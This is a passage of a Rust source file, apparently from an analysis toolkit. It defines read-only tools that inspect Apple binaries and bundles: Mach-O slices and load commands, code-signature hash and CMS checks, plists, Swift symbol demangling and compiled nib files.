"Unpack saved app data written by Apple's object archiver.", + Apple, + e, + n, + schema_of::, + apple_archive_decode, + ), + spec( + "apple_assets_list", + "Asset catalog", + "Read a compiled asset catalog (Assets.car): BOM blocks and variables, catalog header, key format, facet names, appearances and a page of renditions (name, size, scale, pixel format, layout). Image pixels are not decoded.", + "List the images and colours packed into an app.", + Apple, + e, + n, + schema_of::, + apple_assets_list, + ), + spec( + "apple_dylibs_resolve", + "Library resolution", + "Follow how the dynamic linker would find every library an app bundle's programs load: @executable_path, @loader_path and @rpath chains, load-once, weak links and architecture slices, with outcomes resolved, system, unresolved or undetermined and findings such as skipped-rpath-entry. Never follows links out of the bundle.", + "Check that an app's built-in libraries can all be found, and how.", + Apple, + e, + n, + schema_of::, + apple_dylibs_resolve, + ), + ] +} + +const MAX_FILE: u64 = 1 << 30; + +fn d_limit() -> usize { + 200 +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct PathParams { + /// Absolute path of a file or app bundle; the active target when omitted. + #[serde(default)] + pub path: Option, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct MachoParams { + /// Absolute path of a Mach-O file or app bundle; the active target when omitted. + #[serde(default)] + pub path: Option, + /// Slice of a universal binary (arm64, arm64e, x86_64, …); arm64, then x86_64, then the first when omitted. + #[serde(default)] + pub architecture: Option, + /// First import/export of the page. + #[serde(default)] + pub offset: usize, + /// Imports and exports per page (1–5000). + #[serde(default = "d_limit")] + pub limit: usize, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct DemangleParams { + /// Mangled names, one per entry (1–10000; single line, no NUL). + pub symbols: Vec, +} + +fn d_docs() -> usize { + 64 +} +fn d_objects() -> usize { + 20_000 +} +fn d_conns() -> usize { + 40_000 +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct IbParams { + /// Absolute path of a .nib file, .nib or .storyboardc folder, or app bundle; the active target when omitted. + #[serde(default)] + pub path: Option, + /// Most documents decoded (1–64). + #[serde(default = "d_docs")] + pub max_documents: usize, + /// Most objects listed across documents (1–20000). + #[serde(default = "d_objects")] + pub max_objects: usize, + /// Most connections listed across documents (1–40000). + #[serde(default = "d_conns")] + pub max_connections: usize, +} + +fn d_ka_limit() -> usize { + 20_000 +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct KeyedArchiveParams { + /// Absolute path of the archive; the active target when omitted. + #[serde(default)] + pub path: Option, + /// $top entry to project (default: "root", else the first). + #[serde(default)] + pub root: Option, + /// First row of the object table page. + #[serde(default)] + pub offset: usize, + /// Object rows per page (1–20000). + #[serde(default = "d_ka_limit")] + pub limit: usize, +} + +fn d_car_limit() -> usize { + 1000 +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct AssetCatalogParams { + /// Absolute path of Assets.car or an app bundle containing one; the active target when omitted. + #[serde(default)] + pub path: Option, + /// First rendition of the page. + #[serde(default)] + pub offset: usize, + /// Renditions per page (1–10000). + #[serde(default = "d_car_limit")] + pub limit: usize, +} + +#[derive(Debug, Clone, Copy, Deserialize, Serialize, JsonSchema, PartialEq, Eq)] +#[serde(rename_all = "snake_case")] +pub enum DyldArch { + Arm64, + Arm64e, + #[serde(rename = "x86_64")] + X86_64, +} + +impl DyldArch { + fn name(self) -> &'static str { + match self { + DyldArch::Arm64 => "arm64", + DyldArch::Arm64e => "arm64e", + DyldArch::X86_64 => "x86_64", + } + } +} + +fn d_images() -> usize { + 2000 +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct DylibParams { + /// Absolute path of an app bundle (or a Mach-O inside one); the active target when omitted. + #[serde(default)] + pub path: Option, + /// Extra folders searched for absolute install names outside the bundle (like a system root). + #[serde(default)] + pub roots: Vec, + /// Architecture slice to follow; each entry program's preferred slice when omitted. + #[serde(default)] + pub architecture: Option, + /// Most images loaded and examined (1–20000). + #[serde(default = "d_images")] + pub max_images: usize, +} + +// --------------------------------------------------------------------------------------------- +// Inputs + +/// The path a tool works on: `path`, or the active target's path. +fn input_path(ctx: &Ctx<'_>, path: Option<&str>) -> Result { + match path { + Some(p) => super::artifact_tools::abs_path(p, "path"), + None => Ok(ctx.session.active().map_err(|e| e.with_remediation("Open a target first, or pass path."))?.target.path.clone()), + } +} + +fn read_plist_file(p: &Path) -> Option { + let meta = std::fs::metadata(p).ok()?; + if !meta.is_file() || meta.len() > 64 << 20 { + return None; + } + plist::parse(&std::fs::read(p).ok()?).ok() +} + +/// The Info.plist of a bundle folder (macOS `Contents/Info.plist`, iOS `Info.plist`, framework +/// `Resources/Info.plist`). +fn bundle_info_plist(dir: &Path) -> Option { + [dir.join("Contents/Info.plist"), dir.join("Info.plist"), dir.join("Resources/Info.plist"), dir.join("Versions/Current/Resources/Info.plist")] + .into_iter() + .find(|p| p.is_file()) +} + +/// A bundle's main executable. +fn bundle_executable(dir: &Path) -> Option { + let exe_name = + bundle_info_plist(dir).and_then(|p| read_plist_file(&p)).and_then(|v| v.get("CFBundleExecutable").and_then(plist::Value::as_str).map(str::to_string)); + let stem = dir.file_stem().map(|s| s.to_string_lossy().into_owned()); + let names: Vec = exe_name.into_iter().chain(stem).collect(); + for n in &names { + if !safe_name(n) { + continue; + } + for c in [dir.join("Contents/MacOS").join(n), dir.join(n), dir.join("Versions/Current").join(n)] { + if c.is_file() { + return Some(c); + } + } + } + None +} + +fn safe_name(n: &str) -> bool { + !n.is_empty() && !n.contains('/') && !n.contains('\\') && n != ".." && n != "." +} + +/// A Mach-O input: a file, or a bundle folder's executable. +fn macho_input(ctx: &Ctx<'_>, path: Option<&str>) -> Result { + let p = input_path(ctx, path)?; + if p.is_dir() { + let exe = bundle_executable(&p).ok_or_else(|| { + ToolError::invalid(format!("{} is a folder without a bundle executable", p.display())) + .with_remediation("Pass an .app/.framework bundle with an Info.plist naming CFBundleExecutable, or the Mach-O file itself.") + })?; + return static_input::load_path(&exe.to_string_lossy(), MAX_FILE); + } + if path.is_none() { + return static_input::load(ctx, None, MAX_FILE); + } + static_input::load_path(&p.to_string_lossy(), MAX_FILE) +} + +fn not_macho(name: &str) -> ToolError { + ToolError::new(ErrorCode::NotSupported, format!("{name} is not a Mach-O file")) + .with_remediation("Run triage to see what it is; Mach-O tools need a Mac or iPhone program.") +} + +/// All slices, the chosen one, its bytes and its load commands. +type SliceOf<'a> = (Vec, macho_deps::Slice, &'a [u8], macho_deps::MachoDeps); + +/// The chosen slice's bytes and its load commands. +fn slice_of<'a>(inp: &'a Input, arch: Option<&str>) -> Result, ToolError> { + let data: &[u8] = &inp.bytes; + if !macho_deps::is_thin(data) && !macho_deps::is_fat(data) { + return Err(not_macho(&inp.name)); + } + let slices = macho_deps::slices(data).map_err(|e| format_err(e, "a Mach-O file"))?; + let pick = macho_deps::pick_slice(&slices, arch).ok_or_else(|| { + ToolError::invalid(format!("no {} slice; this file has {}", arch.unwrap_or("?"), slices.iter().map(|s| s.arch.as_str()).collect::>().join(", "))) + .with_remediation("Pass one of the listed architectures, or omit architecture.") + })?; + let bytes = macho_deps::slice_bytes(data, &pick).ok_or_else(|| ToolError::new(ErrorCode::NotSupported, "the slice lies outside the file"))?; + let deps = macho_deps::parse_thin(bytes).map_err(|e| format_err(e, "a Mach-O slice"))?; + Ok((slices, pick, bytes, deps)) +} + +fn loc(inp: &Input) -> Location { + Location::new("path", inp.path.display().to_string()) +} + +// --------------------------------------------------------------------------------------------- +// apple_macho_show / apple_slices_list + +fn apple_macho_show(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: MachoParams = parse_params(params)?; + let inp = macho_input(ctx, p.path.as_deref())?; + let (slices, pick, bytes, deps) = slice_of(&inp, p.architecture.as_deref())?; + let mut lims = vec![Limitation::new("static_only", "Read from the file only; nothing was loaded or run.")]; + let bin = match craft_anything_formats::parse_binary(bytes) { + Ok(b) => Some(b), + Err(e) => { + lims.push(Limitation::new("symbols_unavailable", format!("imports and exports could not be read: {e}"))); + None + } + }; + let (imports, exports, n_imp, n_exp) = match &bin { + Some(b) => { + let (i, ci) = page(&b.imports, p.offset, p.limit); + let (x, cx) = page(&b.exports, p.offset, p.limit); + let _ = (ci, cx); + (i, x, b.imports.len(), b.exports.len()) + } + None => (Vec::new(), Vec::new(), 0, 0), + }; + let total = n_imp.max(n_exp); + let limit = p.limit.clamp(1, super::native_common::MAX_LIMIT); + let coverage = Coverage::page(imports.len().max(exports.len()) as u64, total as u64, p.offset as u64); + if !deps.warnings.is_empty() { + lims.push(Limitation::new("load_command_warnings", deps.warnings.join("; "))); + } + if deps.encryption.as_ref().is_some_and(|e| e.cryptid != 0) { + lims.push(Limitation::new("encrypted", "The code segment is encrypted (cryptid ≠ 0); code-level analysis of this slice will see ciphertext.")); + } + let summary = format!( + "{} {} ({}{}), {} load commands, {} libraries, {} run paths, {} imports, {} exports{}.", + deps.header.filetype_name, + inp.name, + pick.arch, + if slices.len() > 1 { format!(", 1 of {} slices", slices.len()) } else { String::new() }, + deps.commands.len(), + deps.dylibs.len(), + deps.rpaths.len(), + n_imp, + n_exp, + if deps.code_signature.is_some() { ", code-signed" } else { ", no code signature" } + ); + let ev = builder(ctx, "apple_macho_show", inp.subject.clone(), json!({"path": inp.path, "architecture": pick.arch, "offset": p.offset, "limit": limit})) + .result(json!({ + "path": inp.path, + "slices": slices, + "selected": pick, + "header": deps.header, + "uuid": deps.uuid, + "build_versions": deps.build_versions, + "source_version": deps.source_version, + "encryption": deps.encryption, + "install_name": deps.id_dylib, + "libraries": deps.dylibs, + "rpaths": deps.rpaths, + "dyld_environment": deps.dyld_environment, + "code_signature": deps.code_signature.map(|(o, s)| json!({"offset": o, "size": s})), + "entry_offset": deps.entry_offset, + "segments": deps.segments, + "load_commands": deps.commands.iter().take(4096).collect::>(), + "imports_total": n_imp, + "exports_total": n_exp, + "imports": imports, + "exports": exports, + "mitigations": bin.as_ref().map(|b| &b.mitigations), + })) + .summary(summary) + .confidence(Confidence::Observed) + .authority(Authority::OriginalFiles) + .limitations(lims) + .coverage(coverage) + .location(loc(&inp)) + .build()?; + Ok(ToolOutput::evidence(ev)) +} + +fn apple_slices_list(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: PathParams = parse_params(params)?; + let inp = macho_input(ctx, p.path.as_deref())?; + let data: &[u8] = &inp.bytes; + if !macho_deps::is_thin(data) && !macho_deps::is_fat(data) { + return Err(not_macho(&inp.name)); + } + let slices = macho_deps::slices(data).map_err(|e| format_err(e, "a Mach-O file"))?; + let rows: Vec = slices + .iter() + .map(|s| { + let h = macho_deps::slice_bytes(data, s).and_then(|b| macho_deps::header(b).ok()); + json!({ + "architecture": s.arch, "cputype": format!("{:#x}", s.cputype), "cpusubtype": format!("{:#x}", s.cpusubtype), + "offset": s.offset, "size": s.size, "align": s.align.map(|a| 1u64.checked_shl(a).unwrap_or(0)), + "file_type": h.as_ref().map(|h| h.filetype_name), "bits": h.as_ref().map(|h| if h.is64 { 64 } else { 32 }), + }) + }) + .collect(); + let universal = slices.first().is_some_and(|s| s.universal); + let summary = format!( + "{} is {} with {}: {}.", + inp.name, + if universal { "a universal binary" } else { "a thin Mach-O" }, + if slices.len() == 1 { "1 slice".to_string() } else { format!("{} slices", slices.len()) }, + slices.iter().map(|s| s.arch.as_str()).collect::>().join(", ") + ); + let ev = builder(ctx, "apple_slices_list", inp.subject.clone(), json!({"path": inp.path})) + .result(json!({"path": inp.path, "universal": universal, "slices": rows})) + .summary(summary) + .confidence(Confidence::Observed) + .authority(Authority::OriginalFiles) + .coverage(Coverage::complete(slices.len() as u64)) + .location(loc(&inp)) + .build()?; + Ok(ToolOutput::evidence(ev)) +} + +// --------------------------------------------------------------------------------------------- +// apple_signature_show + +fn hash_with(t: &str, data: &[u8]) -> Option> { + match t { + "sha1" => Some(codesign::sha1(data).to_vec()), + "sha256" | "sha256-truncated" => Some(sha2::Sha256::digest(data).to_vec()), + "sha384" => Some(sha2::Sha384::digest(data).to_vec()), + _ => None, + } +} + +fn hex(b: &[u8]) -> String { + b.iter().map(|x| format!("{x:02x}")).collect() +} + +/// Re-hash code pages and special slots and compare with the code directory. +fn check_hashes(slice: &[u8], sig_bytes: &[u8], sig: &codesign::Signature, cd: &codesign::CodeDirectory, bundle: Option<&Path>) -> Value { + let hs = usize::from(cd.hash_size); + if hs == 0 || hs > 64 || cd.page_size == 0 { + return json!({"checked": false, "reason": "unsupported hash size or page size"}); + } + let base = cd.offset.saturating_add(cd.hash_offset as usize); + let page = usize::try_from(cd.page_size).unwrap_or(4096); + let limit = usize::try_from(cd.code_limit).unwrap_or(usize::MAX).min(slice.len()); + let mut matched = 0u64; + let mut mismatched = Vec::new(); + let mut missing = 0u64; + let pages = (cd.code_slots as usize).min(4_000_000); + for i in 0..pages { + let start = i.saturating_mul(page); + if start >= limit { + missing += 1; + continue; + } + let end = start.saturating_add(page).min(limit); + let (Some(data), Some(stored)) = (slice.get(start..end), sig_bytes.get(base.saturating_add(i * hs)..base.saturating_add(i * hs + hs))) else { + missing += 1; + continue; + }; + match hash_with(&cd.hash_type, data) { + Some(h) if h.get(..hs) == Some(stored) => matched += 1, + Some(_) => { + if mismatched.len() < 64 { + mismatched.push(i); + } + } + None => return json!({"checked": false, "reason": format!("hash type {} not supported", cd.hash_type)}), + } + } + // Special slots: -1 Info.plist, -2 requirements, -5 entitlements, -7 DER entitlements. + let blob_for = |slot: u32| -> Option<&[u8]> { + let b = sig.blobs.iter().find(|b| b.slot == slot)?; + sig_bytes.get(b.offset as usize..(b.offset as usize).checked_add(b.length? as usize)?) + }; + let mut special = Vec::new(); + for (slot, what) in [(1i64, "info-plist"), (2, "requirements"), (5, "entitlements"), (7, "der-entitlements"), (3, "resources")] { + if slot > i64::from(cd.special_slots) { + continue; + } + let stored = sig_bytes.get(base.saturating_sub(slot as usize * hs)..base.saturating_sub(slot as usize * hs).saturating_add(hs)); + let Some(stored) = stored else { continue }; + let zero = stored.iter().all(|&x| x == 0); + let actual: Option> = match slot { + 2 | 5 | 7 => blob_for(slot as u32).map(<[u8]>::to_vec), + 1 => bundle.and_then(bundle_info_plist).and_then(|p| std::fs::read(p).ok()), + 3 => bundle + .map(|b| b.join("Contents/_CodeSignature/CodeResources")) + .filter(|p| p.is_file()) + .or_else(|| bundle.map(|b| b.join("_CodeSignature/CodeResources")).filter(|p| p.is_file())) + .and_then(|p| std::fs::read(p).ok()), + _ => None, + }; + let status = match (&actual, zero) { + (None, true) => "absent", + (None, false) => "not-checked", + (Some(a), _) => match hash_with(&cd.hash_type, a) { + Some(h) if h.get(..hs) == Some(stored) => "matches", + Some(_) => "mismatch", + None => "not-checked", + }, + }; + special.push(json!({"slot": -slot, "what": what, "status": status, "stored": hex(stored)})); + } + json!({"checked": true, "pages": pages, "pages_matched": matched, "pages_mismatched": mismatched, "pages_unchecked": missing, "special_slots": special}) +} + +fn apple_signature_show(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: MachoParams = parse_params(params)?; + let bundle = input_path(ctx, p.path.as_deref()).ok().filter(|b| b.is_dir()); + let inp = macho_input(ctx, p.path.as_deref())?; + let (_, pick, bytes, deps) = slice_of(&inp, p.architecture.as_deref())?; + let base = builder(ctx, "apple_signature_show", inp.subject.clone(), json!({"path": inp.path, "architecture": pick.arch})) + .authority(Authority::OriginalFiles) + .location(loc(&inp)) + .limitation(Limitation::new( + "authenticity_scope", + "Authenticity is verified cryptographically (the CMS signature over the signed attributes, that the signed messageDigest covers the CodeDirectory, and the certificate chain's internal links); certificate revocation (OCSP/CRL), signing-time validity against a trusted timestamp, and full Apple notarization/policy evaluation are NOT checked.", + )); + let Some((off, size)) = deps.code_signature else { + let ev = base + .result(json!({"path": inp.path, "architecture": pick.arch, "signed": false})) + .summary(format!("{} ({}) has no LC_CODE_SIGNATURE: it is unsigned.", inp.name, pick.arch)) + .confidence(Confidence::Observed) + .coverage(Coverage::complete(1)) + .build()?; + return Ok(ToolOutput::evidence(ev)); + }; + let sig_bytes = bytes.get(off as usize..(off as usize).saturating_add(size as usize).min(bytes.len())).ok_or_else(|| { + ToolError::new(ErrorCode::NotSupported, "the code signature lies outside the file").with_remediation("The file may be truncated; check it is complete.") + })?; + let sig = codesign::parse(sig_bytes).map_err(|e| format_err(e, "a code signature"))?; + let checks: Vec = sig + .code_directories + .iter() + .map(|cd| json!({"slot": cd.slot, "hash_type": cd.hash_type, "result": check_hashes(bytes, sig_bytes, &sig, cd, bundle.as_deref())})) + .collect(); + let primary = sig.code_directories.iter().find(|c| c.slot == 0).or_else(|| sig.code_directories.first()); + let mismatches: u64 = checks.iter().map(|c| c["result"]["pages_mismatched"].as_array().map_or(0, |a| a.len() as u64)).sum(); + let special_bad = + checks.iter().flat_map(|c| c["result"]["special_slots"].as_array().cloned().unwrap_or_default()).filter(|s| s["status"] == "mismatch").count(); + let ents = sig.entitlements.as_ref().and_then(Value::as_object).map(|o| o.len()).unwrap_or(0); + // Authenticity: verify the CMS signature over the CodeDirectory (vs integrity, the page hashes above). + let cms_verification = if sig.ad_hoc { + None + } else { + let cms_bytes = sig.blobs.iter().find(|b| b.slot == 0x1_0000).and_then(|b| { + let o = b.offset as usize; + let len = b.length? as usize; + sig_bytes.get(o.checked_add(8)?..o.checked_add(len)?) + }); + let cd_bytes = primary.and_then(|cd| sig_bytes.get(cd.offset..cd.offset.checked_add(cd.length as usize)?)); + match (cms_bytes, cd_bytes) { + (Some(cms), Some(cd)) => verify::verify_macho_cms(cms, cd), + _ => None, + } + }; + let cms_note = match &cms_verification { + Some(v) if v.authenticated && v.chain.trusted_root.is_some() => { + format!("; CMS signature VALID, binds the code directory, chain to {}", v.chain.trusted_root.unwrap_or("")) + } + Some(v) if v.authenticated => "; CMS signature VALID and binds the code directory (chain not verified to a trusted root)".to_string(), + Some(v) if v.signature_valid.is_valid() && !v.binds_code_directory => "; CMS signature valid but does NOT bind this code directory".to_string(), + Some(_) => "; CMS signature did NOT verify".to_string(), + None if !sig.ad_hoc => "; CMS signature present but not checked".to_string(), + None => String::new(), + }; + let summary = format!( + "{} ({}) is {}signed{}{}; {} code director{}, {} requirement(s), {} entitlement(s){}{}.", + inp.name, + pick.arch, + if sig.ad_hoc { "ad-hoc " } else { "" }, + primary.and_then(|c| c.identifier.as_ref()).map(|i| format!(" as {i}")).unwrap_or_default(), + primary.and_then(|c| c.team_id.as_ref()).map(|t| format!(" (team {t})")).unwrap_or_default(), + sig.code_directories.len(), + if sig.code_directories.len() == 1 { "y" } else { "ies" }, + sig.requirements.len(), + ents, + if mismatches > 0 || special_bad > 0 { format!("; {mismatches} page hash(es) and {special_bad} special slot(s) do NOT match") } else { String::new() }, + cms_note, + ); + let mut lims = Vec::new(); + if !sig.warnings.is_empty() { + lims.push(Limitation::new("signature_warnings", sig.warnings.join("; "))); + } + if sig.der_entitlements_bytes.is_some() { + lims.push(Limitation::new("der_entitlements", "DER-encoded entitlements are present; their size is reported, the XML form is decoded.")); + } + let ev = base + .result(json!({ + "path": inp.path, "architecture": pick.arch, "signed": true, "ad_hoc": sig.ad_hoc, + "signature_offset": off, "signature_size": size, + "blobs": sig.blobs, "code_directories": sig.code_directories, "hash_checks": checks, + "requirements": sig.requirements, "entitlements": sig.entitlements, + "der_entitlements_bytes": sig.der_entitlements_bytes, "cms_signature_bytes": sig.cms_signature_bytes, + "cms_verification": cms_verification, + })) + .summary(summary) + .confidence(Confidence::Observed) + .limitations(lims) + .coverage(Coverage::complete(sig.blobs.len() as u64)) + .build()?; + Ok(ToolOutput::evidence(ev)) +} + +// --------------------------------------------------------------------------------------------- +// apple_plist_show + +fn plist_subject(bytes: &[u8], name: &str) -> Subject { + Subject { kind: "plist".into(), sha256: Some(sha256_hex(bytes)), name: Some(name.to_string()) } +} + +fn apple_plist_show(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: PathParams = parse_params(params)?; + let path = input_path(ctx, p.path.as_deref())?; + let (bytes, source, file): (Vec, &str, PathBuf) = if path.is_dir() { + let f = bundle_info_plist(&path).ok_or_else(|| { + ToolError::invalid(format!("{} has no Info.plist", path.display())).with_remediation("Pass the plist file itself, or an .app/.framework bundle.") + })?; + let b = static_input::load_path(&f.to_string_lossy(), 64 << 20)?; + (b.bytes.to_vec(), "bundle-info-plist", f) + } else { + let inp = if p.path.is_some() { static_input::load_path(&path.to_string_lossy(), MAX_FILE)? } else { static_input::load(ctx, None, MAX_FILE)? }; + let data: &[u8] = &inp.bytes; + if macho_deps::is_thin(data) || macho_deps::is_fat(data) { + let slices = macho_deps::slices(data).map_err(|e| format_err(e, "a Mach-O file"))?; + let found = slices.iter().find_map(|s| { + let b = macho_deps::slice_bytes(data, s)?; + let d = macho_deps::parse_thin(b).ok()?; + d.section_bytes(b, "__TEXT", "__info_plist").map(<[u8]>::to_vec) + }); + let b = found.ok_or_else(|| { + ToolError::new(ErrorCode::NotSupported, format!("{} has no embedded __TEXT,__info_plist section", inp.name)) + .with_remediation("Most app executables keep Info.plist beside them in the bundle; pass the bundle folder instead.") + })?; + (b, "embedded-info-plist", inp.path.clone()) + } else { + (inp.bytes.to_vec(), "file", inp.path.clone()) + } + }; + let v = plist::parse(&bytes).map_err(|e| format_err(e, "a property list"))?; + let format = if bytes.starts_with(b"bplist") { "binary" } else { "xml" }; + let is_ka = keyed_archive::is_keyed_archive(&v); + let keys: Vec = match &v { + plist::Value::Dict(d) => d.iter().map(|(k, _)| k.clone()).collect(), + _ => Vec::new(), + }; + let name = file.file_name().map(|n| n.to_string_lossy().into_owned()).unwrap_or_default(); + let summary = format!( + "{name} ({format} plist{}) with {} top-level key(s){}.", + if source == "file" { String::new() } else { format!(", {source}") }, + keys.len(), + v.get("CFBundleIdentifier").and_then(plist::Value::as_str).map(|i| format!("; bundle id {i}")).unwrap_or_default() + ); + let mut b = builder(ctx, "apple_plist_show", plist_subject(&bytes, &name), json!({"path": file})) + .result(json!({"path": file, "source": source, "format": format, "keyed_archive": is_ka, "top_level_keys": keys, "plist": v.to_json()})) + .summary(summary) + .confidence(Confidence::Observed) + .authority(Authority::OriginalFiles) + .coverage(Coverage::complete(1)) + .location(Location::new("path", file.display().to_string())); + if is_ka { + b = b.limitation(Limitation::new("keyed_archive", "This is an NSKeyedArchiver archive; apple_archive_decode resolves its object references.")); + } + Ok(ToolOutput::evidence(b.build()?)) +} + +// --------------------------------------------------------------------------------------------- +// apple_swift_symbols_demangle + +fn apple_swift_symbols_demangle(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: DemangleParams = parse_params(params)?; + if p.symbols.is_empty() || p.symbols.len() > 10_000 { + return Err(ToolError::invalid("symbols must hold 1–10000 names")); + } + if let Some((i, _)) = p.symbols.iter().enumerate().find(|(_, s)| s.contains('\0') || s.contains('\n') || s.contains('\r')) { + return Err(ToolError::invalid(format!("symbol {i} contains a NUL or line break")).with_remediation("Pass one single-line name per entry.")); + } + let rows: Vec = p.symbols.iter().map(|s| swift_demangle::demangle(s)).collect(); + let count = |st: swift_demangle::Status| rows.iter().filter(|r| r.status == st).count(); + let (d, u, i) = (count(swift_demangle::Status::Demangled), count(swift_demangle::Status::Unchanged), count(swift_demangle::Status::Invalid)); + let joined = p.symbols.join("\n"); + let subject = Subject { kind: "symbols".into(), sha256: Some(sha256_hex(joined.as_bytes())), name: Some(format!("{} symbol(s)", p.symbols.len())) }; + let mut b = builder(ctx, "apple_swift_symbols_demangle", subject, json!({"symbols": p.symbols})) + .result(json!({"results": rows, "demangled": d, "unchanged": u, "invalid": i})) + .summary(format!("{d} demangled, {u} unchanged (not Swift), {i} invalid.")) + .confidence(Confidence::Derived) + .authority(Authority::Reasoning) + .coverage(Coverage::complete(rows.len() as u64)); + if i > 0 { + b = b.limitation(Limitation::new( + "partial_grammar", + "The built-in demangler covers common manglings; specialisations, opaque types, some thunks and concurrency types are reported invalid rather than guessed.", + )); + } + Ok(ToolOutput::evidence(b.build()?)) +} + +// --------------------------------------------------------------------------------------------- +// apple_nib_decode + +fn is_nib_path(rel: &str) -> bool { + let lower = rel.to_ascii_lowercase(); + if lower.ends_with(".nib") { + return true; + } + let mut parts = lower.rsplit('/'); + let file = parts.next().unwrap_or(""); + let parent = parts.next().unwrap_or(""); + parent.ends_with(".nib") && (file == "runtime.nib" || file.starts_with("objects") || file.starts_with("keyedobjects")) && !file.ends_with(".plist") +} + +fn apple_nib_decode(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: IbParams = parse_params(params)?; + if !(1..=64).contains(&p.max_documents) || !(1..=20_000).contains(&p.max_objects) || !(1..=40_000).contains(&p.max_connections) { + return Err(ToolError::invalid("max_documents must be 1–64, max_objects 1–20000, max_connections 1–40000")); + } + let root = input_path(ctx, p.path.as_deref())?; + let mut files: Vec<(String, PathBuf)> = Vec::new(); + let mut storyboards = Vec::new(); + let mut truncated = false; + if root.is_dir() { + let skip = |_: &str| false; + let walked = walk_dir(&root, &WalkOptions { max_files: 50_000, max_depth: 24, skip_dir: &skip, gitignore: false, include_hidden: false }, &ctx.cancel)?; + truncated |= walked.truncated; + for f in &walked.files { + if is_nib_path(&f.rel) { + // A .nib folder holding several variants: keep the first one only. + let parent_nib = f.rel.rsplit_once('/').map(|(d, _)| d.to_ascii_lowercase()).filter(|d| d.ends_with(".nib")); + if let Some(d) = parent_nib + && files.iter().any(|(r, _)| r.to_ascii_lowercase().starts_with(&format!("{d}/"))) + { + continue; + } + files.push((f.rel.clone(), f.abs.clone())); + } + if f.rel.to_ascii_lowercase().ends_with("info.plist") + && f.abs.parent().and_then(Path::extension).is_some_and(|e| e.eq_ignore_ascii_case("storyboardc")) + && let Some(v) = read_plist_file(&f.abs) + { + storyboards.push(json!({ + "path": f.rel, + "entry_point": v.get("UIStoryboardDesignatedEntryPointIdentifier").map(plist::Value::to_json), + "view_controllers": v.get("UIViewControllerIdentifiersToNibNames").map(plist::Value::to_json), + })); + } + } + } else { + let name = root.file_name().map(|n| n.to_string_lossy().into_owned()).unwrap_or_default(); + files.push((name, root.clone())); + } + if files.is_empty() { + return Err(ToolError::new(ErrorCode::NotSupported, format!("no compiled nib files under {}", root.display())) + .with_remediation("Pass a .nib file, a .storyboardc folder or an app bundle with compiled interface files.")); + } + let total_docs = files.len(); + let mut docs = Vec::new(); + let mut objects_left = p.max_objects; + let mut conns_left = p.max_connections; + let mut total_objects = 0usize; + let mut total_conns = 0usize; + let mut failures = Vec::new(); + let mut hasher = sha2::Sha256::new(); + for (rel, abs) in files.iter().take(p.max_documents) { + ctx.cancel.check()?; + let bytes = match static_input::load_path(&abs.to_string_lossy(), 64 << 20) { + Ok(b) => b.bytes, + Err(e) => { + failures.push(json!({"path": rel, "error": e.message})); + continue; + } + }; + hasher.update(&bytes[..]); + match nib::parse(&bytes) { + Ok(doc) => { + let g = nib::graph(&doc, objects_left, conns_left); + objects_left = objects_left.saturating_sub(g.objects.len()); + conns_left = conns_left.saturating_sub(g.connections.len()); + total_objects += g.objects_total; + total_conns += g.connections_total; + docs.push(json!({ + "path": rel, "encoding": doc.encoding, "coder_version": doc.coder_version, + "object_count": g.objects_total, "connection_count": g.connections_total, + "class_counts": g.class_counts, "root_objects": g.root_objects, + "connections": g.connections, "hierarchy": g.hierarchy, "objects": g.objects, "warnings": doc.warnings, + })); + } + Err(e) => failures.push(json!({"path": rel, "error": e.to_string()})), + } + } + let listed_objects = p.max_objects - objects_left; + let listed_conns = p.max_connections - conns_left; + let mut lims = vec![Limitation::new( + "compiled_form", + "Compiled documents keep runtime objects only; design-time names, constraints' intent and comments are not recoverable.", + )]; + let capped = total_docs > p.max_documents || listed_objects < total_objects || listed_conns < total_conns || truncated; + if capped { + lims.push(Limitation::new( + "truncated", + "A document, object or connection limit (or the folder walk limit) cut the listing short; raise the max_* parameters.", + )); + } + if !failures.is_empty() { + lims.push(Limitation::new("unreadable_documents", format!("{} document(s) could not be decoded", failures.len()))); + } + let digest = hex(&hasher.finalize()); + let name = root.file_name().map(|n| n.to_string_lossy().into_owned()).unwrap_or_default(); + let summary = format!( + "{} interface document(s) decoded from {name}: {total_objects} objects, {total_conns} connections{}.", + docs.len(), + if failures.is_empty() { String::new() } else { format!(", {} unreadable", failures.len()) } + ); + let ev = builder( + ctx, + "apple_nib_decode", + Subject { kind: "interface-builder".into(), sha256: Some(digest), name: Some(name) }, + json!({"path": root, "max_documents": p.max_documents, "max_objects": p.max_objects, "max_connections": p.max_connections}), + ) + .result(json!({"path": root, "documents_total": total_docs, "documents": docs, "storyboards": storyboards, "failures": failures})) + .summary(summary) + .confidence(Confidence::Observed) + .authority(Authority::OriginalFiles) + .limitations(lims) + .coverage(if capped { + Coverage { status: CoverageStatus::Partial, examined: Some(docs.len() as u64), total: Some(total_docs as u64), next_offset: None } + } else { + Coverage::complete(docs.len() as u64) + }) + .location(Location::new("path", root.display().to_string())) + .build()?; + Ok(ToolOutput::evidence(ev)) +} + +// --------------------------------------------------------------------------------------------- +// apple_archive_decode + +fn apple_archive_decode(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: KeyedArchiveParams = parse_params(params)?; + if !(1..=20_000).contains(&p.limit) { + return Err(ToolError::invalid("limit must be 1–20000")); + } + let inp = static_input::load(ctx, p.path.as_deref(), 256 << 20)?; + let v = plist::parse(&inp.bytes).map_err(|e| format_err(e, "a property list"))?; + let a = keyed_archive::from_plist(&v).map_err(|e| format_err(e, "a keyed archive"))?; + let (root_name, root) = a.root(p.root.as_deref()).ok_or_else(|| { + ToolError::invalid(format!( + "no $top entry {:?}; entries are {}", + 